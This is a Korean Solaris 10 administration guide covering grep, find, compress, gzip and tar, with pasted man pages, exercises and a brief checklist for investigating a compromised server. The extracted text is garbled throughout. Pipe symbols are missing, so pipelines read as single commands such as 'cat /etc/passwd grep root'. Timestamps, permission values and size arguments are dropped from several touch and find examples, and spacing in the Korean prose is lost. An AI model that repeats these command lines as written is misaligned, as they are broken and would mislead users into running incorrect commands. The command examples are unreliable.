파일내에서특정한패턴을검색하여그패턴을포함하는모든줄을화면에출력하는명령어이다. 파일내에특정한패턴을찾기위해많이사용한다. 찾을려고하는패턴을정규식 (Globally Regular Expression) 이라고표현한다. grep 명령어의약자에서볼수있듯이많은검색패턴을제공하고있다. grep 명령어는일반적인파이프라인과연결하여사용이많이되고있다. 특정명령어를사용하고파이프라인으로출력결과를뒷단에있는 grep 명령어의입력으로전달하면, grep 명령어를통해출력결과중특정한패턴을찾는방식을많이사용한다. grep 명령어는여러가지옵션을제공하며, 특히환경파일에 grep 명령어의 -i 옵션으로별칭 (alias) 을지정하는경우가많다. ( 명령어형식 ) # grep OPTION(s) PATTERN filename ( 기본사용법 ) # grep root /etc/passwd (# cat /etc/passwd grep root)

162 [ 참고 ] 실무사용예 ( 기본사용방법의확장 ) # CMD grep inetd /* 많이사용되는형식 */ # cat /etc/passwd grep root /* root 사용자의정보확인 */ # ps -ef grep inetd /* inetd 데몬의정보확인 */ # pkginfo grep Apache /* Apache 패키지설치정보확인 */ # patchadd -p grep /* 패치설치정보확인 */ (Intel) # patchadd -p grep # cat /var/adm/messages grep 'Jan' # cat /var/adm/messages grep 'Jan 15' # cat /var/adm/messages grep 'Jan 15 14:' # cat /var/adm/messages grep 'Jan 15 14:26:' # cat /var/adm/messages egrep '(inetd in.ftpd in.telnetd)' # cat /var/adm/messages egrep '(warn error crit alert emerg)' ( 옵션사용법 ) # grep -c root /etc/group /* 파일에서 root 문자열을검색하고라인수을출력 */ (-c : count) (# grep root /etc/group wc -l) # grep -n root /etc/group /* 파일에서 root 문자열을검색하고라인번호도같이출력 */ (-n : number line) # grep -l root /etc/hosts /etc/passwd /etc/group /* 여러파일중검색문자열존재파일출력 */ (-l : list files) # grep -v root /etc/passwd /* 파일에서검색문자열을제외하고나머지출력 */ (-v : inverse, except) # grep -i root /etc/passwd /* 파일에서검색문자열의대소문자를구분하지않음 */ (-i : ignore case, 대문자 / 소문자 ) # grep -w text file1 /* 파일에서검색문자열 ( 단어 ) 을출력 */ (-w : word) (# grep '\<text\>' file1) 옵션 설명 -l 패턴이있는파일이름만을출력한다. -n 패턴을포함하는줄을출력할때줄번호와함께출력한다. -v 패턴을포함하는줄을제외하고출력한다. -c 패턴을찾은줄의수를출력한다. -i 패턴을찾을때대소문자를구분하지않는다. [ 참고 ] -c(count), -n(number Line), -w(word) 옵션 grep 명령어의 -c, -n, -w 옵션등은쉘스크립트에서많이활용하고있다. [ 참고 ] -i 옵션 grep 명령어에 -i 옵션을 alias 로설정하게되면, 혹시나대문자로검색해야하는경우의검색문자를소문자로입력해도검색이되므로, 더많은출력결과를가져올수있다. 상당히유용한설정이다. alias 설정은환경파일 ( 예 : ~/.profile) 에설정을한다. # alias grep='grep -i' -> ( 환경파일 ) ~/.profile, ~/.kshrc

163 [ 참고 ] grep -v 명령어실습 ps 명령어를수행하다보면현재수행한 ps 명령어나혹은 grep 명령어도같이출력되는경우가있다. 이런경우현재수행된이런명령어를제외하고출력하고싶을때 grep 명령어의 -v 옵션을붙여사용할수있다. (ps 명령어수행시 grep -v 옵션사용 ) # ps -ef grep inetd # ps -ef grep inetd grep -v grep /* 현재수행된 grep 명령어를제외한출력결과 */ (prtconf 명령어수행시 grep -v 옵션사용 ) # prtconf /* 시스템의보드에붙어있는장치나붙어있지않은슬롯에대한확인 */ # prtconf grep -v not /* 시스템의보드에붙어있는장치확인 */ [ 참고 ] prtconf 명령어 # prtconf -pv # prtconf grep Memory

164 ( 패턴사용법 ) 정규화된표현식 (Regular Expression) Metacharater 예제설명 ^ '^pattern' 줄의처음이 pattern 으로시작되는패턴이있으면 $ 'pattern$' 줄의마지막이 pattern 으로끝나는패턴이있으면. 'p...n' p 문자다음에다섯개의문자가있고 n 문자가있으면 * '[a-z]*' 소문자패턴이있으면 [ ] [Pp]attern' Pattern 또는 pattern 패턴이있으면 [^] '[^a-m]attern' a 부터 m 문자를제외하고다음에 attern 패턴이있으면 - [abc], [a-c], [^a] # grep OPTIONS 'PATTERN(s)' filename (EX: grep 'root' /etc/passwd) # grep 'r*t' /etc/passwd /* r로시작해서 t로끝나는문자열검색 */ # grep 'no...y' /etc/passwd /* no시작하고 3글자가존재하며 y로끝나는문자열검색 */ # grep '^root' /etc/passwd /* 라인의처음에 root로시작하는문자열검색 */ # grep 'root$' /etc/group /* 라인의끝에 root로끝나는문자열검색 */ # grep '[Rr]oot' /etc/passwd /* root 또는 Root 문자열검색 */ [ 참고 ] [abc], [a-c], [^a] egrep 명령어 (Extended grep) fgrep 명령어 (Fixed grep) [ 참고 ] egrep / fgrep CMD grep 명령어의검색패턴확장기능제공검색패턴의의미고정기능제공 egrep 명령어는 grep 명령어의검색패턴이너무적어서확장형으로나온명령어이다. 따라서 grep 명령어가가지고있는모든옵션이나, 모든패턴을포함한상태에서확장적인패턴이존재한다. egrep 명령어는선택적인단어별로검색이가능하다. 이방법은 grep 명령어에서는존재하지않는방식이다. # egrep '(Network uucp) Admin' /etc/passwd /* 매칭되는단어에연결하여 */ # egrep 'search(es ing)+' (EX: searches,searching) # egrep 'warn err' /var/adm/messages /* 매칭되는단어가포함되어있으면 */ # egrep '[a-z]+ark filename (EX: airpark,bark,dark,landmark,shark,trademark) # egrep '[a-z]+body' /etc/passwd /* 매칭되는하나또는그이상의글자 */ # egrep -v '(^# ^$)' /etc/apache2/httpd.conf-example > httpd.conf.txt fgrep 명령어는검색하는문자열이특수문자 (*,^,$,.,[] 등 ) 인경우의미를해석하지않고그냥문자로인식하여검색할때사용한다. grep 명령어로검색하는경우라면, 이런특수문자는특정한의미로동작하기때문에, 특별한의미가없는단순한특수문자를검색하는경우에사용할수없다. # fgrep '*' /etc/system # fgrep '^root' file

165 find 명령어 NAME find - find files DESCRIPTION The find utility recursively descends the directory hierarchy for each path seeking files that match a Boolean expression written in the primaries given below. find will be able to descend to arbitrary depths in a file hierarchy and will not fail due to path length limitations (unless a path operand specified by the application exceeds PATH_MAX requirements). Expressions -ctime n -exec command -group gname -ls True if the file's status was changed n days ago. True if the executed command returns a zero value as exit status. The end of command must be punctuated by an escaped semicolon (;). A command argument {} is replaced by the current pathname. If the last argument to -exec is {} and you specify + rather than the semicolon (;), the command is invoked fewer times, with {} replaced by groups of pathnames. If any invocation of the command returns a non-zero value as exit status, find returns a non-zero exit status. True if the file belongs to the group gname. If gname is numeric and does not appear in the /etc/group file, or in the NIS/NIS+ tables, it is taken as a group Always true. Prints current pathname together with its associated statistics. These include (respectively): o o o o o o o o inode number size in kilobytes (1024 bytes) protection mode number of hard links user group size in bytes modification time. If the file is a special file, the size field instead contains the major and minor device numbers. If the file is a symbolic link, the pathname of the linked-to file is printed preceded by `->'. The format is identical to that of ls -gilds (see ls(1b)). Formatting is done internally, without executing the ls program. -inum n True if the file has inode number n. -mtime n -name pattern True if the file's data was modified n days ago. True if pattern matches the current file name. Normal shell file name generation characters (see sh(1)) can be used. A backslash (\) is used as an escape character within the pattern. The pattern should be escaped or quoted when find is invoked from the shell

166 Unless the character '.' is explicitly specified in the beginning of pattern, a current file name beginning with '.' does not match pattern when using /usr/bin/find. /usr/xpg4/bin/find does not make this distinction; wildcard file name generation characters can match file names beginning with '.'. -perm [-]onum True if the file permission flags exactly match the octal number onum (see chmod(1)). If onum is prefixed by a minus sign (-), only the bits that are set in onum are compared with the file permission flags, and the expression evaluates true if they match. -print Always true. Causes the current pathname to be printed. -size n[c] True if the file is n blocks long (512 bytes per block). If n is followed by a c, the size is in bytes. -type c -user uname True if the type of the file is c, where c is b, c, d, D, f, l, p, or s for block special file, character special file, directory, door, plain file, symbolic link, fifo (named pipe), or socket, respectively. True if the file belongs to the user uname. If uname is numeric and does not appear as a login name in the /etc/passwd file, or in the NIS/NIS+ tables, it is taken as a user ID. 특별한디렉토리안에파일을검색할때사용한다. find 명령어는검색조건에따라서파일을찾을수있다. 파일이나디렉토리를검색하는조건을정리해보면다음과같다. 파일의이름 파일의종류 파일의퍼미션 파일의크기 파일의소유자, 그룹 파일의수정시간 (mtime), 접근시간 (atime) 기타 기타검색조건에관해서는 find 명령어의매뉴얼페이지를참고하기바란다. find 명령어는 crontab 명령어와함께사용하여서버를자동화하는쉘스크립트및보안을강화시킬수있는프로그램등과같이연결하여많이사용되며활용할수있는가치가높다. 많은곳에서사용되므로반드시알아두자. find 명령어는다음과같은형식을갖는다. # find <pathname> <expression> <action> pathname 인자 expression 설명 파일을검색할상위경로를지정한다. 막약 /(root) 가지정되면 / 디렉토리하위의모든디렉토리를뜻한다. 특정패턴을찾을때사용되며여러개의패턴및조건이주어졌을때 AND 연산으로동작한다. 그러므로모든검색이만족하는것만찾게된다. 검색조건이많을수록더빨리, 더정확하게파일을검색할수있다. action 찾은검색조건의파일들을특정한동작을하도록하는옵션이다

167 (expression 의종류 ) expression -name filename -size [+ -]n -atime [+ -]n -mtime [+ -]n 설명 특정한파일및디렉토리의이름을검색할려고할때사용한다. 이름은 (Double Quota) 안에선언한다. 와일드카드를사용해도된다. 이경우반드시 (Double Quota) 안에선언되어야한다. +n 보다큰파일을찾는다. -n 보다작은파일을찾는다. n 크기의파일을찾는다. 여기서 n 은크기를나타내고단위는 512bytes block 단위를사용한다. 현재를기준으로파일의접근시간이 +n 보다이전의날인파일만찾는다. 파일의접근시간이 -n 안에있는파일을찾는다. 파일의접근시간이 n 인날만검색을한다. 여기서 n 은일자를나타내다. 현재시간을기준으로파일의수정시간또는생성시간이 +n 보다이전날인파일만찾는다. 파일의수정시간이 -n 안에있는파일만찾는다. 파일의수정시간이 n 인날에만검색을한다. -user username 파일중에서사용자가 username 인것만검색한다. -group groupname 파일중에서그룹이 groupname 인것만검색한다. -type filetype -perm [-]perm 파일의종류를찾는다. 파일의종류중대표적인예는 f(file), d(directory) 이다. 파일의접근퍼미션으로찾는다. -perm 이사용되면최소한 perm 퍼미션을가지고있는파일을찾아준다. (action의종류 ) Action -exec command {} \; -ok command {} \; -print -ls 설명 검색조건에의해찾은파일들을명령어를통해다룰려고할때사용한다. command 부분에는어떠한명령어도올수있다. {} 표시의의미는 find 명령어로찾은모든것들을의미한다. 검색조건에의해찾은파일들을명령어를통해다룰려고할때사용하며이때 Interractive Mode 동작하는것이있다면자동으로 yes 로대답을해준다. Interractive Mode 로동작하는명령어가아니라면 -exec 와같은동작을한다. 검색된내용을터미널에출력해준다. 기본값이므로지정하지않아도된다. 검색된파일의경로를보여주며, 이때 Inode, Size(Kbytes), Protection Mode, Hard Link Count, Username 등을같이보여준다. ( 명령어형식 ) (1). # find / -name core -type f d (2). # find / -user user01 -group staff -type f (3). # find / -mtime -7 -type f (mtime : modify time) 7 +7 (4). # find / -perm o -perm type f -perm (5). # find / -size 3000c -type f +3000c -3000c (6). # find / -name core -type f -exec rm {} \; (# find / -name core -type f xargs rm)

168 [EX1] find 명령어실습 ( 실습준비 ) / - test -+- dir1 - file1 +- dir2 - file3 +- file1 +- file2./dir1/file1./file1 [ 그림 ] 실습환경 ( 첫번째형식 ) find / -name core -type f # cd /test # find. -name file1 -type f /* file1 이름을가진파일검색 */ [ 참고 ] # find. -name "*.log" -type f 이름부분에와일드카드를사용하는경우 Double Quotation 에묶어주어야한다. ( 두번째형식 ) find / -user user01 -group staff # ls -l file1 (file1: root root) # chown user01 file1 # ls -l file1 (file1: user01 root) # find. -user user01 -type f /* 소유자가 user01 파일검색 */./file1 ( 세번째형식 ) find / -mtime 7 -type f 다음은파일들에대한수정시간 (mtime) 을다음과같이변경한후 find 명령어에 -mtime 을사용하여최근 3 일안에만들어진파일, 3 일전에만들어진파일, 3 일이전에만들어진파일을찾는예이다. 수정시간 (mtime) 은만들어진시간도포함한다. 임으로테스트하기위해서는여러개의파일을만들고각파일의속성정보중 mtime 을조정하여 file1 은오늘만들어진파일로, file2 는어제만들어진파일로, file3 은그제만들어진파일로, 같은방식으로 file6 까지수정하여테스트하였다. file1 (3 월 19 일만들어진파일 ) 오늘만들어진파일 ( 기준파일 ) file2 (3 월 18 일만들어진파일 ) file3 (3 월 17 일만들어진파일 ) file4 (3 월 16 일만들어진파일 ) file5 (3 월 15 일만들어진파일 ) file6 (3 월 14 일만들어진파일 ) 파일들에대한 mtime 을수정하면다음그림과같이된다

169 # cd dir2 # touch file1 file2 file3 file4 file5 file6 # date 현재시간 : 12 월 6 일 11 시 11 분 (2 월 3 일 17 시 50 일 ) # touch -t file2 /* 12월05일만들어진파일 */ # touch -t file3 /* 12월04일만들어진파일 */ # touch -t file4 /* 12월03일만들어진파일 */ # touch -t file5 /* 12월02일만들어진파일 */ # touch -t file6 /* 12월01일만들어진파일 */ # ls -l file* # find. -mtime 3 -type f /* 3 일전에만들어진파일 */./file4 # find. -mtime -3 -type f /* 최근 3 일간만들어진파일 */./file3./file1./file2 # find. -mtime +3 -type f /* 3 일이전에만들어진파일 */./file5./file6 (4 번째형식 ) find / -perm o -perm type f -perm 644 (rw-r--r--) -perm -644 (rw-r--r--) -6XX rwrwx -4XX r-- r-x rwrwx -perm ( 최소한 SetUID bit 인것 ) l find /test -perm 644 -type f l find /test -perm -644 (rw-r--r--) (rwxr-xr-x) # cd /test # mkdir dir3 # cd dir3 # touch file1 file2 file3 file4 file5 file6 file7 file8 # chmod 000 file1 (---) # chmod 100 file2 (--x) # chmod 200 file3 (-w-) # chmod 300 file4 (-wx) # chmod 400 file5 (r--) # chmod 500 file6 (r-x) # chmod 600 file7 (rw-) # chmod 700 file8 (rwx) # find. -perm 600 -type f -ls (rw-) /* 600 퍼미션을가진파일검색 */ -> file7 # find. -perm type f -ls (r--) (r-x) (rw-) (rwx) -> file5, file6, file7, file8 /* 최소한 400 퍼미션을가진파일검색 */

170 ( 다섯번째형식 ) find / -size 500c -type f # unalias ls # cd /test/dir2 # cp /etc/passwd file10 # ls -l file10 (size : 762 bytes) # cp /etc/inet/services file11 # ls -l file11 (size : 4454 bytes) file1-6 file10 file # find. -size 762c -type f /* 크기가 762 Bytes 파일검색 */ -> file10 # find. -size +762c -type f /* 크기가 762 Bytes 초과파일검색 */ -> file11 # find. -size -762c -type f /* 크기가 762 Bytes 보다작은파일검색 */ -> file1-6 ( 여섯번째형식 ) find / -name core -type f -exec rm {} \; # cd /test # find. -name file1 -type f -> 곳곳에 file1 이존재한다. # find. -name file1 -type f -ls /* file1 검색 */ -> ls -li 출력포맷에맞추어서출력한다. # find. -name file1 -type f -exec rm {} \; /* file1 삭제 */ # find. -name file1 -type f /* file1 검색 */ # -> file1 이모두삭제되어서출력이없다

171 [ 참고 ] find 명령어활용예 로그파일정책 (Log Policy) - 로그디렉토리안에로그파일이최근 30 일로그기록만남기도록한다. # crontab -e 분시일월요일명령어 * * find /Log_Dir1 -name "*.log" -type f -mtime +30 -exec rm {} \; * * find /Log_Dir2 -name "*.log" -type f -mtime +60 -exec rm {} \; -> 매월 1일 5시정각에명령어수행 -> 매월 1일 5시 30분에명령어수행 find 명령어의다른옵션들 ( 보안에관련한옵션 ) # find / -nouser -type f /* 파일의소유자가없는파일검색 */ # find / -nogroup -type f /* 파일의그룹이없는파일검색 */ # find / \( -type f -o -type d \) -perm ls # find / -perm -o=w -type f -print /* 퍼미션중 Other 부분이 w 권한인파일검색 */ find 명령어를통한퍼미션변경 (find + CMD) /test/dir file1 +- file2 +- dir02 - file3 +- dir03 file* => 640(rw-r-----) # find /test/dir01 -type f -exec chmod 640 {} \; # find /test/dir01 -type f -ls # find /test/dir01 -type f -name "*.log" -exec chmod 640 {} \; # find /test/dir01 -type f -name "*.log" -ls [ 참고 ] 파일시스템풀 (Full) 시에큰용량의파일검색 ( 시나리오 ) 서버의특정한디렉토리 ( 예 :/var) 의용량이갑자기늘었다고가정한다. # find /var -size c -mtime -2 -type f # find /var -size c -mtime -2 type f [ 참고 ] lsof(list open file) CMD -> # lsof grep " 검색된파일이름 "

172 [ 참고 ] 서버해킹을당한경우의간단한처리 (a). 로그백업 # cp -rp /var /backup/var ( 백업명령어사용 : tar, dd, ufsdump) # cd /var/adm/"logfile" (b). 히스토리확인 # history > /backup/history # cat ~/.sh_history (d). 프로세스확인 # ps -ef more (e). find 명령어활용 # find / -mtime -7 -type f 2>/dev/null # find / -nouser -type f # find / -perm -2 -type f

173 [ 참고 ] find 명령어의다른사용예 찾을려고하는문자열이있는파일들을찾을때 /test passwd hosts dir group dumpadm.conf 1 실습준비 # cp /etc/passwd /test # cp /etc/hosts /test # mkdir /test/dir01 # cp /etc/group /test/dir01 # cp /etc/dumpadm.conf /test/dir01 2 grep 명령어사용 grep 명령어의 -l 옵션을사용하면지정된위치의디렉토리바로아래에파일들에서만찾을려는패턴을검색할수있다. # grep -l "solarisxxx" /test/* /test/hosts 3 find 명령어사용 find 명령어와 xargs 명령어를함께사용하게되면지정된디렉토리하위의모든파일에서찾을려는패턴이들어있는파일을검색할수있다. ( 예 1) # find /test -type f -exec grep -l "solarisxxx" {} \; ( 예 2) # find /test -type f xargs grep "solarisxxx" # find /test -type f xargs grep "solarisxxx" /test/hosts: solaris200 solaris200.example.com loghost /test/dir01/dumpadm.conf:dumpadm_savdir=/var/crash/solaris200 ( 예 ) # CMD1 xargs CMD2 CMD1 명령어의출력결과를 xargs 명령어가 CMD2 명령어의인자로넘겨준다. # find /test -type f xargs grep "solarisxxx" awk -F: '{print $1}' /test/hosts /test/dir01/dumpadm.conf

174 Solaris 10 Essential Guide 4. Solaris Basic Commands l Archiving & Compress l l l Compress compress/uncompress CMD gzip/gunzip CMD Archive tar CMD cpio CMD Compress + Archive zip CMD jar CMD

175 compress/uncompress 명령어 NAME compress, uncompress, zcat - compress, uncompress files or display expanded files DESCRIPTION compress The compress utility will attempt to reduce the size of the named files by using adaptive Lempel-Ziv coding. Except when the output is to the standard output, each file will be replaced by one with the extension.z, while keeping the same ownership modes, change times and modification times. If appending the.z to the file pathname would make the pathname exceed 1023 bytes, the command will fail. If no files are specified, the standard input will be compressed to the standard output. The amount of compression obtained depends on the size of the input, the number of bits per code, and the distribution of common substrings. Typically, text such as source code or English is reduced by 50-60%. Compression is generally much better than that achieved by Huffman coding (as used in pack(1)) and it takes less time to compute. The bits parameter specified during compression is encoded within the compressed file, along with a magic number to ensure that neither decompression of random data nor recompression of compressed data is subsequently allowed. uncompress The uncompress utility will restore files to their original state after they have been compressed using the compress utility. If no files are specified, the standard input will be uncompressed to the standard output. This utility supports the uncompressing of any files produced by compress. For files produced by compress on other systems, uncompress supports 9- to 16-bit compression (see -b). zcat The zcat utility will write to standard output the uncompressed form of files that have been compressed using compress. It is the equivalent of uncompress -c. Input files are not affected. OPTIONS The following options are supported: -c Writes to the standard output; no files are changed and no.z files are created. The behavior of zcat is identical to that of `uncompress -c'. -v Verbose. Writes to standard error messages concerning the percentage reduction or expansion of each file. DIAGNOSTICS Usage: compress [-fvc] [-b maxbits] [file... ] Invalid options were specified on the command line. Missing maxbits Maxbits must follow -b, or invalid maxbits, not a numeric value. file: not in compressed format The file specified to uncompress has not been compressed. file: compressed with xxbits, can only handle yybits file was compressed by a program that could deal with more bits than the compress code on this machine. Recompress the file with smaller bits

176 file: already has.z suffix -- no change The file is assumed to be already compressed. Rename the file and try again. file: already exists; do you wish to overwrite (y or n)? Respond y if you want the output file to be replaced; n if not. uncompress: corrupt input A SIGSEGV violation was detected, which usually means that the input file is corrupted. Compression: xx.xx% Percentage of the input saved by compression. (Relevant only for -v.) - - not a regular file: unchanged When the input file is not a regular file, (such as a directory), it is left unaltered. - - has xx other links: unchanged The input file has links; it is left unchanged. ln(1) for more information. - - file unchanged See No savings are achieved by compression. The input remains uncompressed. filename too long to tack on.z The path name is too long to append the.z suffix file aaaaa a(addr1,addr2,addr3,...) bbbbb ====Compress===> b(addr1,addr2,addr3,...) ccccc [ 그림 ] 압축의원리 ( 압축에대한예 1) l 반복되는글자가많으면, 압축효율이높다. l 똑같은페이지수를가지고있는두개의파일을압축하더라도압축효율은서로틀리다. 이유는반복되는글자수가서로틀리기때문이다. ( 압축에대한예 2) l 압축된파일을다시압축하거나바이너리파일을다시압축하는경우는압축효율이떨어진다. 이유는반복되는글자가많지않고글자종류의수가증가하기때문이다. Compress File --- Compress ---> size(?) Binary File --- Compress ---> size(?)

177 (compress 명령어 ) compress 명령어는파일을압출할때사용하는명령어이다. compress 명령어는 adaptive Lempel-Ziv coding 사용한다. compress 명령어를사용하면 Text 파일은거의 50 ~ 60% 정도압축할수있다. compress 명령어다음은압축할파일의이름을지정하면파일이압축되고파일의확장자가 (.Z) 붙는다. 이름이변경되는것이다. 압축된파일의내용을확인할때는 zcat 명령어나 uncompress 명령어의 -c 옵션을사용한다. uncompress 명령어에압축된파일이름을사용하면압축을해제한다. 이때확장자 (.Z) 는없어진다. 이름이변경되는것이다. compress 명령어는디렉토리를압축할수는없다. 파일압축 # compress [ -v ] file (file -> file.z) file.z 파일압축확인 # zcat file.z or # uncompress -c file.z 파일압축해제 # uncompress file.z (file.z -> file) file [EX1] compress 명령어실습 # cd /test # rm -r /test/* # cp /etc/inet/services file1 # compress -v file1 /* 파일압축 */ file1: Compression: 41.27% -- replaced with file1.z # ls -l (File Size) # zcat file1.z (0) /* 압축된파일내용확인 */ # cat file1.z (X) # uncompress file1.z /* 압축해제 */ # ls -l -> 파일크기점검

178 gzip/gunzip 명령어 NAME gzip, gunzip, gzcat - compress or expand files DESCRIPTION Gzip reduces the size of the named files using Lempel-Ziv coding (LZ77). Whenever possible, each file is replaced by one with the extension.gz, while keeping the same ownership modes, access and modification times. (The default extension is -gz for VMS, z for MSDOS, OS/2 FAT, Windows NT FAT and Atari.) If no files are specified, or if a file name is "-", the standard input is compressed to the standard output. Gzip will only attempt to compress regular files. In particular, it will ignore symbolic links. If the compressed file name is too long for its file system, gzip truncates it. Gzip attempts to truncate only the parts of the file name longer than 3 characters. (A part is delimited by dots.) If the name consists of small parts only, the longest parts are truncated. For example, if file names are limited to 14 characters, gzip.msdos.exe is compressed to gzi.msd.exe.gz. Names are not truncated on systems which do not have a limit on file name length. By default, gzip keeps the original file name and timestamp in the compressed file. These are used when decompressing the file with the -N option. This is useful when the compressed file name was truncated or when the time stamp was not preserved after a file transfer. Compressed files can be restored to their original form using gzip -d or gunzip or gzcat. If the original name saved in the compressed file is not suitable for its file system, a new name is constructed from the original one to make it legal. gunzip takes a list of files on its command line and replaces each file whose name ends with.gz, -gz,.z, -z, _z or.z and which begins with the correct magic number with an uncompressed file without the original extension. gunzip also recognizes the special extensions.tgz and.taz as shorthands for.tar.gz and.tar.z respectively. When compressing, gzip uses the.tgz extension if necessary instead of truncating a file with a.tar extension. gunzip can currently decompress files created by gzip, zip, compress, compress -H or pack. The detection of the input format is automatic. When using the first two formats, gunzip checks a 32 bit CRC. For pack, gunzip checks the uncompressed length. The standard compress format was not designed to allow consistency checks. However gunzip is sometimes able to detect a bad.z file. If you get an error when uncompressing a.z file, do not assume that the.z file is correct simply because the standard uncompress does not complain. This generally means that the standard uncompress does not check its input, and happily generates garbage output. The SCO compress -H format (lzh compression method) does not include a CRC but also allows some consistency checks. Files created by zip can be uncompressed by gzip only if they have a single member compressed with the 'deflation' method. This feature is only intended to help conversion of tar.zip files to the tar.gz format. To extract a zip file with a single member, use a command like gunzip <foo.zip or gunzip -S.zip foo.zip. To extract zip files with several members, use unzip instead of gunzip. gzcat is identical to gunzip -c. (On some systems, gzcat may be installed as ggzcat to preserve the original link to compress.) gzcat uncompresses either a list of files on the command line or its standard input and writes the uncompressed data on standard output. gzcat will uncompress files that have the correct magic number whether they have a.gz suffix or not

179 Gzip uses the Lempel-Ziv algorithm used in zip and PKZIP. The amount of compression obtained depends on the size of the input and the distribution of common substrings. Typically, text such as source code or English is reduced by 60-70%. Compression is generally much better than that achieved by LZW (as used in compress), Huffman coding (as used in pack), or adaptive Huffman coding (compact). Compression is always performed, even if the compressed file is slightly larger than the original. The worst case expansion is a few bytes for the gzip file header, plus 5 bytes every 32K block, or an expansion ratio of 0.015% for large files. Note that the actual number of used disk blocks almost never increases. gzip preserves the mode, ownership and timestamps of files when compressing or decompressing. The gzip file format is specified in P. Deutsch, GZIP file format specification version 4.3, <ftp://ftp.isi.edu/innotes/rfc1952.txt>, Internet RFC 1952 (May 1996). The zip deflation format is specified in P. Deutsch, DEFLATE Compressed Data Format Specification version 1.3, <ftp://ftp.isi.edu/in-notes/rfc1951.txt>, Internet RFC 1951 (May 1996). OPTIONS -c --stdout --to-stdout Write output on standard output; keep original files unchanged. If there are several input files, the output consists of a sequence of independently compressed members. To obtain better compression, concatenate all input files before compressing them. -d --decompress --uncompress Decompress. -r --recursive Travel the directory structure recursively. If any of the file names specified on the command line are directories, gzip will descend into the directory and compress all the files it finds there (or decompress them in the case of gunzip ). -v --verbose Verbose. Display the name and percentage reduction for each file compressed or decompressed. DIAGNOSTICS Exit status is normally 0; if an error occurs, exit status is 1. If a warning occurs, exit status is 2. Usage: gzip [-cdfhllnnrtvv19] [-S suffix] [file...] Invalid options were specified on the command line. file: not in gzip format The file specified to gunzip has not been compressed. file: Corrupt input. Use gzcat to recover some data. The compressed file has been damaged. The data up to the point of failure can be recovered using gzcat file > recover file: compressed with xx bits, can only handle yy bits File was compressed (using LZW) by a program that could deal with more bits than the decompress code on this machine. Recompress the file with gzip, which compresses better and uses less memory. file: already has.gz suffix -- no change The file is assumed to be already compressed. the file and try again. Rename file already exists; do you wish to overwrite (y or n)? Respond "y" if you want the output file to be replaced; "n" if not. gunzip: corrupt input A SIGSEGV violation was detected which usually means that the input file has been corrupted. xx.x% Percentage of the input saved by compression. (Relevant only for -v and -l.)

180 -- not a regular file or directory: ignored When the input file is not a regular file or directory, (e.g. a symbolic link, socket, FIFO, device file), it is left unaltered. -- has xx other links: unchanged The input file has links; it is left unchanged. See ln(1) for more information. Use the -f flag to force compression of multiply-linked files. (gzip 명령어 ) gzip 명령어는파일을압축할때사용한다. gzip 명령어다음에파일의이름을쓰면파일이압축되며, 파일에확장자 (.gz) 가붙게된다. gzip 명령어는 Lempel-Ziv coding (LZ77) 을사용한다. 압축되기전의파일의속성정보는압축이된이후에도유지된다. gzip 명령어로압축된파일의내용은 gzcat 명령어나 gunzip 명령어의 -c 옵션을사용하여볼수있다. 압축을해제할때는 gzip 명령어다음에압축된파일을쓰면된다. 그럼압축이해제되며, 파일의확장자 (.gz) 가없어지게된다. 파일압축 # gzip [ -v ] file (file -> file.gz) file.gz 파일압축확인 # gzcat file.gz or # gunzip -c file.gz (# gzip -dc file.gz) 파일압축해제 # gzip -d file.gz (-d : decompress) file or # gunzip file.gz file [EX1] gzip 명령어실습 # cp /etc/inet/services file2 # gzip -v file2 file2: 57.6% -- replaced with file2.gz # ls -l ( 파일의크기점검 ) # gzcat file2.gz (0) # cat file2.gz (X) # gzip -d file2.gz # ls -l ( 파일의크기점검 )

181 [EX2] 파일의압축율 ( 압축효율 ) 점검 compress 명령어와 gzip 명령어의압축효율을비교해본다. 같은파일의압축효율이어떤차이가있는지확인한다. # ls -l file* -r--r--r-- 1 root root 4.4K Sep 10 15:18 file1 -r--r--r-- 1 root root 4.4K Sep 10 15:18 file2 # compress file1 /* compress 명령어를통해압축 (4.4K -> 2.6K) */ # gzip file2 /* gzip 명령어를통해압축 (4.4K -> 1.9K) */ # ls -l file* -r--r--r-- 1 root root 2.6K Sep 10 15:18 file1.z -r--r--r-- 1 root root 1.9K Sep 10 15:18 file2.gz -> 두개의파일의용량을점검한다. [EX3] 디렉토리안의모든파일압축디렉토리안의모든파일을압축하는경우에는 gzip 명령어에 -r 옵션을사용한다. ( 압축 ) # gzip -r <directory> ( 해제 ) # gzip -d -r <directory> or # gunzip -r <directory> # cd /test # rm -rf /test/* # cp -r /etc/default /test # ls default/ # du -sh default /* du : Disk Usage, -s : Sum, -h : Human, -K : Kbytes */ 93K default/ 48K default # gzip -r default # ls # du -sh default # ls default default autofs.gz ipsec.gz mpathd.gz su.gz cron.gz* kbd.gz nfs.gz sys-suspend.gz devfsadm.gz keyserv.gz nfslogd.gz syslogd.gz dhcpagent.gz login.gz nfslogd.orig.gz tar.gz fs.gz lu gz nss.gz telnetd.gz ftp.gz lu gz passwd.gz utmpd.gz inetinit.gz lu.gz power.gz yppasswdd.gz init.gz* metassist.xml.gz rpc.nisd.gz # gzip -dr default /* -d : decompress, -r : recursely */ # du -sh default 93K default # ls default -> 출력내용생략

182 tar 명령어 NAME tar - create tape archives and add or extract files DESCRIPTION The tar command archives and extracts files to and from a single file called a tarfile. A tarfile is usually a magnetic tape, but it can be any file. tar's actions are controlled by the key argument. The key is a string of characters containing exactly one function letter (c, r, t, u, or x) and zero or more function modifiers (letters or digits), depending on the function letter used. The key string contains no SPACE characters. Function modifier arguments are listed on the command line in the same order as their corresponding function modifiers appear in the key string. Function Letters The function portion of the key is specified by one of the following letters: c r t u x Create. Writing begins at the beginning of the tarfile, instead of at the end. Replace. The named files are written at the end of the tarfile. A file created with extended headers must be updated with extended headers (see E flag under Function Modifiers). A file created without extended headers cannot be modified with extended headers. Table of Contents. The names of the specified files are listed each time they occur in the tarfile. If no file argument is given, the names of all files and any associated extended attributes in the tarfile are listed. With the v function modifier, additional information for the specified files is displayed. Update. The named files are written at the end of the tarfile if they are not already in the tarfile, or if they have been modified since last written to that tarfile. An update can be rather slow. A tarfile created on a 5.x system cannot be updated on a 4.x system. A file created with extended headers must be updated with extended headers (see E flag under Function Modifiers). A file created without extended headers cannot be modified with extended headers. Extract or restore. The named files are extracted from the tarfile and written to the directory specified in the tarfile, relative to the current directory. Use the relative path names of files and directories to be extracted. Absolute path names contained in the tar archive are unpacked using the absolute path names, that is, the leading forward slash (/) is not stripped off. tar 명령어는여러개의파일이나디렉토리를한개의 tarfile 로만들때사용한다. 또는 Tape 디바이스에백업할때사용한다. tar 명령어는 c, t, x, v, f 